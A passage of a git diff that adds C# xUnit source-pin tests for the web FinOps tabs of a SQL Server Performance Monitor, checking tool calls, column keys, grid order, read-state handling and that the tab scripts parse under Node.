+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(body, gatedEmptyStrip\\(res, ctx\\)\\);$", tab);
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "../plan-viewer.js", "./gate.js", "./window.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public void TheTabNeverComparesTheImpactScoreWithANumber()
+    {
+        Assert.False(Regex.IsMatch(Tab(), "impact_score\\s*(>=|<=|>|<)"), "impact_score is compared in the browser");
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabIndexAnalysisPageTests.cs b/Darling/Darling.Tests/FinOpsTabIndexAnalysisPageTests.cs
new file mode 100644
index 0000000000..8b5d004855
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabIndexAnalysisPageTests.cs
@@ -0,0 +1,409 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Index Analysis tab: it reads get_finops with view index_analysis and shows only keys that read emits.</summary>
+public sealed class FinOpsTabIndexAnalysisPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "index-analysis.js")
+            .ReplaceLineEndings("\n");
+
+    // The Database box's draft, caret, focus and commit handling lives in the shared module (#5231).
+    private static string Box() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "database-box.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.IndexAnalysis.cs")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolsMain() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.cs")
+            .ReplaceLineEndings("\n");
+
+    private static string Slice(string startMarker, string endMarker)
+    {
+        var source = ToolSource();
+        var start = source.IndexOf(startMarker, System.StringComparison.Ordinal);
+        Assert.True(start >= 0, startMarker);
+        var end = source.IndexOf(endMarker, start, System.StringComparison.Ordinal);
+        Assert.True(end > start, endMarker);
+        return source.Substring(start, end - start);
+    }
+
+    private static string DatabaseRowSlice() =>
+        Slice("        return new\n        {\n            database_name = r.DatabaseName,", "\n        };");
+
+    private static string RecommendationSlice() => Slice(" IndexAnalysisRecommendationRow(", "\n        };");
+
+    private static string EnvelopeSlice() => Slice("return JsonSerializer.Serialize(new", "}, McpHelpers.JsonOptions);");
+
+    /// <summary>The keys of one column array, in order.</summary>
+    private static System.Collections.Generic.List<string> Keys(string constName)
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const " + constName + " = [", System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = tab.IndexOf("\n];", start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return Regex.Matches(tab.Substring(start, end - start), "\\bkey: \"([a-z_0-9]+)\"").Select(m => m.Groups[1].Value).ToList();
+    }
+
+    private static System.Collections.Generic.List<string> DerivedKeys()
+    {
+        var m = Regex.Match(Tab(), "(?m)^const DERIVED_KEYS = \\[(.*)\\];$");
+        Assert.True(m.Success);
+        return Regex.Matches(m.Groups[1].Value, "\"([a-z_0-9]+)\"").Select(x => x.Groups[1].Value).ToList();
+    }
+
+    private static string KeyPattern(string key) => "(?m)^\\s+" + Regex.Escape(key) + "( = |,$)";
+
+    [Fact]
+    public void TheTabReadsIndexAnalysisWithTheToolMaxLimit()
+    {
+        var tab = Tab();
+        Assert.Contains("const params = { server, view: \"index_analysis\", limit: LIMIT };", tab);
+        Assert.Contains("readTool(\"get_finops\", params, ctx && ctx.signal)", tab);
+        var limit = Regex.Match(tab, "(?m)^const LIMIT = (\\d+);$");
+        Assert.True(limit.Success);
+        // The most the view takes for this view (#5238): the 500 of MaxIndexAnalysisRecommendations, which MaxLimitFor hands to index_analysis,
+        // not the 50 every other top-N view stops at.
+        var max = Regex.Match(ToolSource(), "internal const int MaxIndexAnalysisRecommendations = (\\d+);");
+        Assert.True(max.Success);
+        Assert.Equal(500, int.Parse(max.Groups[1].Value));
+        Assert.Equal(int.Parse(max.Groups[1].Value), int.Parse(limit.Groups[1].Value));
+        Assert.Contains("IndexAnalysisView => MaxIndexAnalysisRecommendations,", ToolsMain());
+        Assert.Contains("var maxLimit = MaxLimitFor(normalized);", ToolsMain());
+        // The first, unfiltered read sends neither optional parameter: they are added to params only from a choice.
+        var call = tab.Substring(tab.IndexOf("const params = ", System.StringComparison.Ordinal), 200);
+        call = call.Substring(0, call.IndexOf(';'));
+        Assert.DoesNotContain("hours:", call);
+        Assert.DoesNotContain("database_name:", call);
+        Assert.DoesNotContain("full_text:", call);
+        Assert.DoesNotContain("hours:", tab);
+        Assert.DoesNotContain("full_text:", tab);
+    }
+
+    [Fact]
+    public void TheSuggestionListComesOnlyFromAnUnfilteredRead()
+    {
+        var tab = Tab();
+        Assert.Matches(@"if\s*\(\s*!choice\.db\s*\)\s*\{\s*choice\.names\s*=\s*\(data\.databases\s*\|\|\s*\[\]\)", tab);
+        Assert.Single(Regex.Matches(tab, @"choice\.names\s*="));
+    }
+
+    [Fact]
+    public void TheDatabaseFilterReReadsWithDatabaseName()
+    {
+        var tab = Tab();
+        Assert.Contains("if (choice.db) params.database_name = choice.db;", tab);
+        Assert.DoesNotContain("database_name: choice", tab);
+        Assert.Contains("databaseBox(choice, { onCommit: () => reread() })", tab);
+        Assert.Contains("choice.names = (data.databases || []).map((d) => d.database_name)", tab);
+        var box = Box();
+        Assert.Contains("type: \"text\", list: listId", box);
+        Assert.Contains("el(\"datalist\", { id: listId })", box);
+        Assert.Contains("el(\"span\", { text: \"Database\" })", box);
+        Assert.Contains("input.addEventListener(\"change\"", box);
+        // One name, exactly as typed (no trim, #5244 M3), in the stored spelling when it matches a suggestion ignoring case (#5244 L8c).
+        Assert.Contains("choice.db = storedSpelling(input.value, known());", box);
+        Assert.DoesNotContain(".trim();", box.Replace("text.trim() === \"\"", "").Replace("String(typed).trim() === \"\"", ""));
+    }
+
+    [Fact]
+    public void TheFullTextToggleReReadsWithFullText()
+    {
+        var tab = Tab();
+        Assert.Contains("if (choice.full) params.full_text = true;", tab);
+        Assert.Contains("type: \"checkbox\"", tab);
+        Assert.Contains("Full script and definition text", tab);
+        Assert.Contains("fullBox.addEventListener(\"change\"", tab);
+        Assert.Contains("choice.full = fullBox.checked;", tab);
+    }
+
+    [Fact]
+    public void TheFilterAndToggleSurviveAPoll()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^const choices = new Map\\(\\);$", tab);
+        var build = tab.Substring(tab.IndexOf("  build(server, ctx) {", System.StringComparison.Ordinal));
+        Assert.StartsWith("  build(server, ctx) {\n    const choice = choiceFor(server);", build);
+        Assert.DoesNotContain("const choices", build);
+        Assert.Contains("choices.get(server)", tab);
+    }
+
+    [Fact]
+    public void ALateReadDoesNotOverwriteANewerOne()
+    {
+        var tab = Tab();
+        Assert.Contains("const mine = ++generation;", tab);
+        Assert.Matches("(?m)^\\s+const res = await readTool\\(.*\\n\\s+if \\(mine !== generation\\) return;$", tab);
+    }
+
+    [Fact]
+    public void TheControlsAreNotRemountedByARead()
+    {
+        var tab = Tab();
+        Assert.Contains("return el(\"div\", {}, [controls, content]);", tab);
+        Assert.DoesNotContain("mount(controls", tab);
+        Assert.DoesNotContain("mount(body", tab);
+        Assert.Contains("mount(content, loadingStrip());", tab);
+    }
+
+    [Fact]
+    public void TheCollectedColumnIsLast_AndTheNoticeNamesEachDatabasesSnapshot()
+    {
+        var tab = Tab();
+        Assert.Contains("{ key: \"captured_at\", label: \"Collected\", format: \"time\" },\n];", tab);
+        Assert.Contains("Analyzed from each database's newest collected snapshot.", tab);
+        Assert.DoesNotContain("latest collected snapshot", tab);
+        /* The overall row is built with no captured_at, so its cell stays blank. */
+        Assert.DoesNotContain("captured_at", DatabaseRowSliceOverall());
+    }
+
+    private static string DatabaseRowSliceOverall() =>
+        Slice("if (!withWorkload)", "        return new");
+
+    [Fact]
+    public void AFilteredNoticeNamesTheDatabase()
+    {
+        Assert.Contains("\" Database \" + db + \".\"", Tab());
+    }
+
+    [Fact]
+    public void EveryRollupColumnKeyIsEmittedByTheDatabaseRow()
+    {
+        var derived = DerivedKeys();
+        var keys = Keys("ROLLUP_COLUMNS");
+        var row = DatabaseRowSlice();
+        foreach (var key in keys.Where(k => !derived.Contains(k)))
+            Assert.Matches(KeyPattern(key), row);
+        Assert.Equal(24, Regex.Matches(row, "(?m)^\\s+[a-z_]+ = ").Count);
+        Assert.Equal(21, keys.Count);
+    }
+
+    [Fact]
+    public void EveryRecommendationColumnKeyIsEmitted()
+    {
+        var derived = DerivedKeys();
+        var keys = Keys("RECOMMENDATION_COLUMNS");
+        var row = RecommendationSlice();
+        foreach (var key in keys.Where(k => !derived.Contains(k)))
+            Assert.Matches(KeyPattern(key), row);
+        // The derived size text is built from this key, so the key itself is pinned too.
+        Assert.Matches(KeyPattern("index_size_gb"), row);
+        Assert.Matches(KeyPattern("total_reads"), DatabaseRowSlice());
+        Assert.Equal(23, Regex.Matches(row, "(?m)^\\s+[a-z_]+( = |,$)").Count);
+        Assert.Equal(17, keys.Count);
+    }
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        Assert.Equal(
+            "database_name,tables_analyzed,index_count,total_size_gb,total_rows,indexes_to_disable,indexes_to_merge,compressable_indexes,"
+            + "unused_indexes,unused_size_gb,compression_min_savings_gb,compression_max_savings_gb,total_min_savings_gb,total_max_savings_gb,"
+            + "reads_breakdown,writes,lock_wait_count,avg_lock_wait_ms,latch_wait_count,avg_latch_wait_ms,captured_at",
+            string.Join(",", Keys("ROLLUP_COLUMNS")));
+        Assert.Equal(
+            "action,result_kind,consolidation_rule,database_name,schema_name,table_name,index_name,index_size_gb_text,index_rows,"
+            + "index_reads,index_writes,target_index_name,superseded_by,additional_info,original_index_definition,script,captured_at",
+            string.Join(",", Keys("RECOMMENDATION_COLUMNS")));
+    }
+
+    [Theory]
+    [InlineData("overall")]
+    [InlineData("databases")]
+    [InlineData("notes")]
+    [InlineData("recommendations")]
+    [InlineData("recommendation_count")]
+    [InlineData("truncated")]
+    [InlineData("database_count")]
+    [InlineData("databases_truncated")]
+    [InlineData("uptime_warning")]
+    [InlineData("dedupe_only_applied")]
+    [InlineData("overall_workload_reason")]
+    public void TheEnvelopeKeysTheTabReadsAreEmitted(string key)
+    {
+        Assert.Matches(KeyPattern(key), EnvelopeSlice());
+        Assert.Matches(@"data\." + key + @"\b", Tab());
+    }
+
+    [Fact]
+    public void TheTypedDatabaseTextSurvivesAPoll()
+    {
+        var box = Box();
+        Assert.Matches(@"addEventListener\(""input"", \(\) => \{\s*choice\.draft = input\.value;", box);
+        Assert.Contains("choice.caret = [input.selectionStart, input.selectionEnd];", box);
+        Assert.Contains("input.value = choice.draft ?? choice.db;", box);
+        Assert.Matches(@"addEventListener\(""change"", \(\) => \{\s*choice\.db = storedSpelling\(input\.value, known\(\)\);\s*choice\.draft = undefined;", box);
+    }
+
+    [Fact]
+    public void FocusSurvivesAPoll()
+    {
+        var box = Box();
+        Assert.Matches(@"addEventListener\(""focus"", \(\) => \{\s*choice\.focused = true;", box);
+        Assert.Matches(@"addEventListener\(""blur"", \(\) => \{\s*setTimeout\(\(\) => \{\s*if \(input\.isConnected\) choice\.focused = false;\s*\}, 0\);", box);
+        Assert.Matches(@"if \(choice\.focused\) \{\s*setTimeout\(\(\) => \{\s*if \(input\.isConnected\) \{\s*input\.focus\(\);\s*if \(choice\.caret\) input\.setSelectionRange\(choice\.caret\[0\], choice\.caret\[1\]\);", box);
+        Assert.DoesNotContain("requestAnimationFrame", box);
+    }
+
+    [Fact]
+    public void TheFullTextColumnsKeepTheirLineBreaks()
+    {
+        var tab = Tab();
+        Assert.Contains("{ key: \"original_index_definition\", label: \"Original Definition\", wrap: true, mono: true, pre: true }", tab);
+        Assert.Contains("{ key: \"script\", label: \"Script\", wrap: true, mono: true, pre: true }", tab);
+        var panels = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js").ReplaceLineEndings("\n");
+        Assert.Equal(2, Regex.Matches(panels, @"if \(c\.pre\) (rcls|cls)\.push\(""pre""\);").Count);
+        var css = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "app.css").ReplaceLineEndings("\n");
+        var wrap = css.IndexOf("table.data td.wrap {", System.StringComparison.Ordinal);
+        var pre = css.IndexOf("table.data td.pre { white-space: pre-wrap; }", System.StringComparison.Ordinal);
+        Assert.True(wrap >= 0 && pre > wrap, "td.pre must follow td.wrap so it wins");
+    }
+
+    [Fact]
+    public void TheLeadNotesAreTheUptimeThenDedupeNotesTheServerEmitsFirst()
+    {
+        var source = ToolSource();
+        var uptime = source.IndexOf("notes.Add(IndexAnalysisUptimeNote)", System.StringComparison.Ordinal);
+        var dedupe = source.IndexOf("notes.Add(IndexAnalysisDedupeNote)", System.StringComparison.Ordinal);
+        var analyzer = source.IndexOf("notes.AddRange(result.Notes)", System.StringComparison.Ordinal);
+        Assert.True(uptime >= 0 && dedupe > uptime, "uptime note must come before the dedupe note");
+        Assert.True(analyzer > dedupe, "analyzer notes must come after both lead notes");
+    }
+
+    [Fact]
+    public void TheOverallRowIsAllDatabasesWithNoWorkloadFigures()
+    {
+        var tab = Tab();
+        Assert.Contains("{ ...data.overall, database_name: \"ALL DATABASES\" }", tab);
+        Assert.DoesNotContain("\"N/A\"", tab);
+    }
+
+    [Fact]
+    public void TheReadsBreakdownIsBuiltFromTheEmittedCounters()
+    {
+        Assert.Contains(
+            "reads_breakdown: r.total_reads == null ? null : fmtInt(r.total_reads) + \" (\" + fmtInt(r.user_seeks) + \" seeks, \" + fmtInt(r.user_scans) + \" scans, \" + fmtInt(r.user_lookups) + \" lookups)\"",
+            Tab());
+    }
+
+    [Fact]
+    public void TheSizeShowsThreeDecimalsLikeTheDesktop()
+    {
+        Assert.Contains("fmtNum(r.index_size_gb, 3)", Tab());
+    }
+
+    [Fact]
+    public void TheBannerTextComesFromThePayload()
+    {
+        var tab = Tab();
+        Assert.DoesNotContain("under 14 days", tab);
+        Assert.DoesNotContain("Dedupe-only mode", tab);
+        Assert.Contains("data.notes || []", tab);
+    }
+
+    [Fact]
+    public void TheTabKeepsThePayloadOrder()
+    {
+        Assert.DoesNotContain(".sort(", Tab());
+    }
+
+    [Fact]
+    public void TheTruncatedNoticeNamesShownThenTotal()
+    {
+        var tab = Tab();
+        Assert.Contains("const rowsCut = n > 0 && data.truncated;", tab);
+        /* #5238: the count left over is one name, with a singular branch ("1 more is not shown"); the harness test runs the text itself. */
+        Assert.Contains("const left = data.recommendation_count - n;", tab);
+        Assert.Contains("\"Showing the largest \" + n + \" of \" + data.recommendation_count + \" recommendations. The list stops at \" + n + \", so \" + (left === 1 ? \"1 more is\" : left + \" more are\") + \" not shown.\"", tab);
+        Assert.DoesNotContain("The largest \" + n", tab);
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(content, gatedEmptyStrip\\(res, ctx\\)\\);$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return mount\\(content, readErrorStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+
+    [Fact]
+    public void TheTabBuildsItsDomFromTextOnly()
+    {
+        Assert.DoesNotContain("innerHTML", Tab());
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "./database-box.js", "../../panels.js", "../../util.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public async System.Threading.Tasks.Task TheTabParsesUnderNode()
+    {
+        var path = Path.Combine(Path.GetTempPath(), "index-analysis-" + System.Guid.NewGuid().ToString("N") + ".mjs");
+        File.WriteAllText(path, Tab());
+        try
+        {
+            var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+            psi.ArgumentList.Add("--check");
+            psi.ArgumentList.Add(path);
+            Process proc;
+            try
+            {
+                proc = Process.Start(psi)!;
+            }
+            catch (Win32Exception)
+            {
+                Assert.Skip("Node is not installed, so the tab script cannot be parsed.");
+                throw;
+            }
+
+            using (proc)
+            {
+                var error = proc.StandardError.ReadToEndAsync();
+                if (!proc.WaitForExit(20000))
+                {
+                    proc.Kill(entireProcessTree: true);
+                    Assert.Fail("node --check did not finish in 20 s");
+                }
+
+                Assert.True(proc.ExitCode == 0, "node --check failed: " + await error);
+            }
+        }
+        finally
+        {
+            File.Delete(path);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabLockingPageTests.cs b/Darling/Darling.Tests/FinOpsTabLockingPageTests.cs
new file mode 100644
index 0000000000..2fd927526b
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabLockingPageTests.cs
@@ -0,0 +1,84 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Locking &amp; Contention tab (#4843): it reads get_object_locking and
+/// shows only keys that read emits.</summary>
+public sealed class FinOpsTabLockingPageTests
+{
+    private static string Tab() => ReadRepoFileLf(
+        "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "locking.js");
+
+    private static string ToolSource() => ReadRepoFileLf(
+        "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpObjectStatsTools.cs");
+
+    [Fact]
+    public void Tab_CallsGetObjectLockingWithTheDesktopRowLimit()
+    {
+        var js = Tab();
+        Assert.Contains("read: \"get_object_locking\"", js);
+        Assert.Contains("const params = { server, limit: 200 };", js);
+        Assert.Contains("if (choice.db) params.database_name = choice.db;", js);
+        Assert.Contains("rowsKey: \"objects\"", js);
+    }
+
+    [Fact]
+    public void Tab_EveryColumnKeyIsEmittedByTheRead()
+    {
+        var js = Tab();
+        var keys = Regex.Matches(js, "\\{ key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal(14, keys.Count);
+        var src = LockingProjection();
+        foreach (var k in keys)
+            Assert.Contains("                " + k + " = r.", src);
+    }
+
+    /// <summary>Only get_object_locking's own projection: from its core method to the end of the row
+    /// projection, so a neighbouring read that emits the same column names cannot satisfy a pin.</summary>
+    private static string LockingProjection()
+    {
+        var src = ToolSource();
+        var start = src.IndexOf("internal static async Task<string> GetObjectLockingCoreAsync(", System.StringComparison.Ordinal);
+        Assert.True(start >= 0, "GetObjectLockingCoreAsync not found");
+        var end = src.IndexOf("objects = objectRows", start, System.StringComparison.Ordinal);
+        Assert.True(end > start, "the end of the get_object_locking projection was not found");
+        return src.Substring(start, end - start);
+    }
+
+    [Fact]
+    public void Tab_ShowsTheReadsNotes_AndTheReadEmitsThem()
+    {
+        var js = Tab();
+        Assert.Contains("noteKey: \"optimized_locking_note\"", js);
+        Assert.Contains("moreNoteKeys: [\"note\", \"separately_monitored_note\"]", js);
+        var tail = LockingProjection();
+        Assert.Contains("optimized_locking_note = ", tail);
+        Assert.Contains("separately_monitored_note = ", tail);
+        Assert.Contains("note = truncated", tail);
+        Assert.Contains("TRUNCATED: more than", tail);
+    }
+
+    [Fact]
+    public void Tab_ImportsOnlyFromTheSharedModules()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "./database-box.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void Tab_IsNoLongerTheShellStub() =>
+        Assert.DoesNotContain("Not on the web yet", Tab());
+}
diff --git a/Darling/Darling.Tests/FinOpsTabOptimizationPageTests.cs b/Darling/Darling.Tests/FinOpsTabOptimizationPageTests.cs
new file mode 100644
index 0000000000..7131a46578
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabOptimizationPageTests.cs
@@ -0,0 +1,208 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Optimization tab: it reads get_finops with view optimization and each of its five tables shows only keys that section's row function emits.</summary>
+public sealed class FinOpsTabOptimizationPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "optimization.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.Optimization.cs")
+            .ReplaceLineEndings("\n");
+
+    /// <summary>The keys of one COLUMNS array, in order.</summary>
+    private static System.Collections.Generic.List<string> Keys(string constName)
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const " + constName + " = [", System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = tab.IndexOf("\n];", start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return Regex.Matches(tab.Substring(start, end - start), "\\bkey: \"([a-z_0-9]+)\"").Select(m => m.Groups[1].Value).ToList();
+    }
+
+    /// <summary>
+    /// One row function's object initializer. The slice starts at the first "new" after the method name and ends at the
+    /// initializer's close: "\n    };" for an expression-bodied method, "\n        }).ToList();" for one that selects rows.
+    /// </summary>
+    private static string RowSlice(string method, string close)
+    {
+        var source = ToolSource();
+        var at = source.IndexOf(" " + method + "(", System.StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var start = source.IndexOf("new\n", at, System.StringComparison.Ordinal);
+        Assert.True(start > at);
+        var end = source.IndexOf(close, start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return source.Substring(start, end - start);
+    }
+
+    private static void AssertKeysMatchRow(string constName, string method, string close, int count, int extraEmitted = 0)
+    {
+        var keys = Keys(constName);
+        var row = RowSlice(method, close);
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", row);
+        var emitted = Regex.Matches(row, "(?m)^\\s+[a-z_0-9]+ = ").Count;
+        Assert.Equal(count + extraEmitted, emitted);
+        Assert.Equal(count, keys.Count);
+    }
+
+    [Fact]
+    public void ThePickerOffersTheDesktopWindowsAndTheStateIsKeptPerServer()
+    {
+        var tab = Tab();
+        // #5562 R5: the shared picker in its Compact, rolling-only form (finops/window.js), not a hand-listed select.
+        Assert.DoesNotContain("WINDOWS", tab);
+        Assert.Contains("finopsWindowControl({ hours: start, onChange: (hours) => load(hours) })", tab);
+        Assert.Contains("const chosenHours = new Map();", tab);
+        Assert.Contains("chosenHours.set(server, hours);", tab);
+        Assert.Contains("chosenHours.get(server) ?? HOURS", tab);
+        Assert.Contains("(hours) => load(hours)", tab);
+        Assert.DoesNotContain("innerHTML", tab);
+    }
+
+    [Fact]
+    public void TheTabReadsGetFinOpsWithTheOptimizationViewWindowAndTopTwenty()
+    {
+        // Pins the exact read: the view's limit is the expensive-query top-N, and 20 matches the desktop's "Top 20 by CPU".
+        const string call = "readTool(\"get_finops\", { server, view: \"optimization\", hours, limit: LIMIT }, ctx && ctx.signal)";
+        var tab = Tab();
+        Assert.Contains(call, tab);
+        Assert.Matches("(?m)^const HOURS = 24;$", tab);
+        Assert.Matches("(?m)^const LIMIT = 20;$", tab);
+        Assert.Single(Regex.Matches(tab, "readTool\\("));
+    }
+
+    [Fact]
+    public void EveryIdleColumnKeyIsEmittedByTheIdleDatabaseRow() =>
+        AssertKeysMatchRow("IDLE_COLUMNS", "IdleDatabaseRow", "\n    };", 4);
+
+    [Fact]
+    public void EveryTempdbColumnKeyIsEmittedByTheTempdbRow() =>
+        AssertKeysMatchRow("TEMPDB_COLUMNS", "TempdbRow", "\n    };", 4);
+
+    [Fact]
+    public void EveryWaitColumnKeyIsEmittedByTheWaitCategoryRows() =>
+        AssertKeysMatchRow("WAIT_COLUMNS", "WaitCategoryRows", "\n        }).ToList();", 7);
+
+    [Fact]
+    public void EveryQueryColumnKeyIsEmittedByTheExpensiveQueryRows() =>
+        AssertKeysMatchRow("QUERY_COLUMNS", "ExpensiveQueryRows", "\n        }).ToList();", 9, extraEmitted: 1);
+
+    [Fact]
+    public void ExpensiveQueryRowsCarryTheQueryHashThePlanColumnReads() =>
+        Assert.Contains("query_hash = r.QueryHash,", RowSlice("ExpensiveQueryRows", "\n        }).ToList();"));
+
+    [Fact]
+    public void EveryMemoryGrantColumnKeyIsEmittedByTheMemoryGrantRows() =>
+        AssertKeysMatchRow("GRANT_COLUMNS", "MemoryGrantRows", "\n        }).ToList();", 10);
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        // Order source: the five Optimization grids in Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml (~:758-855), in their column order.
+        // Idle Databases grid: Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml, FinOpsIdleDatabasesDataGrid (~:758-765).
+        Assert.Equal("database_name,total_size_mb,file_count,last_execution_server_local", string.Join(",", Keys("IDLE_COLUMNS")));
+        // tempdb Pressure grid: FinOpsTab.xaml (~:771-779).
+        Assert.Equal("metric,current_mb,peak_24h_mb,warning", string.Join(",", Keys("TEMPDB_COLUMNS")));
+        // Wait Stats Summary grid: FinOpsTab.xaml (~:797-806).
+        Assert.Equal("category,total_wait_time_ms,waiting_tasks,pct_of_total,top_wait_type,top_wait_time_ms,est_cost_usd", string.Join(",", Keys("WAIT_COLUMNS")));
+        // Expensive Queries grid: FinOpsTab.xaml (~:825-835).
+        Assert.Equal("database_name,query_preview,total_cpu_ms,avg_cpu_ms_per_exec,total_reads,avg_reads_per_exec,executions,has_plan,est_cost_usd", string.Join(",", Keys("QUERY_COLUMNS")));
+        // Memory Grant Efficiency grid: FinOpsTab.xaml (~:844-855).
+        Assert.Equal("day,avg_granted_mb,avg_used_mb,efficiency_pct,peak_granted_mb,wasted_mb,total_grantees,total_waiters,timeout_errors,forced_grants", string.Join(",", Keys("GRANT_COLUMNS")));
+        Assert.Contains("{ key: \"est_cost_usd\", label: \"Est. cost share ($)\", format: \"num2\" }", Tab());
+        Assert.Contains("{ key: \"total_cpu_ms\", label: \"Total CPU\", format: \"ms\" }", Tab());
+    }
+
+    [Fact]
+    public void TheServerLocalLastExecutionIsPlainTextNeverTheTimeFormatter()
+    {
+        var tab = Tab();
+        Assert.Contains("{ key: \"last_execution_server_local\", label: \"Last execution (server time)\" },", tab);
+        Assert.DoesNotContain("last_execution_server_local\", label: \"Last execution (server time)\", format", tab);
+    }
+
+    [Fact]
+    public void EachSectionReadsItsOwnStatusAndMapsTheThreeStates()
+    {
+        var tab = Tab();
+        Assert.Contains("if (section.status === \"ok\") {", tab);
+        Assert.Contains("content = [noticeStrip(notice(section)), VIZ.table(section, { rowsKey: \"rows\", columns, emptyText })];", tab);
+        Assert.Contains("} else if (section.status === \"empty\") {", tab);
+        Assert.Contains("content = [emptyStrip(emptyText)];", tab);
+        Assert.Contains("content = [noticeStrip(section.message ?? \"This section was not collected.\")];", tab);
+        foreach (var field in new[] { "idle_databases", "tempdb_pressure", "wait_categories", "expensive_queries", "memory_grant_efficiency" })
+            Assert.Contains("data." + field + ",", tab);
+    }
+
+    [Fact]
+    public void TheSectionsAreInTheDesktopOrder()
+    {
+        var tab = Tab();
+        var titles = new[] { "\"Idle Databases\"", "\"tempdb Pressure\"", "\"Wait Stats Summary\"", "\"Expensive Queries (Top \" + LIMIT + \" by CPU)\"", "\"Memory Grant Efficiency\"" };
+        var at = titles.Select(t => tab.IndexOf("sectionView(" + t, System.StringComparison.Ordinal)).ToList();
+        Assert.All(at, i => Assert.True(i >= 0));
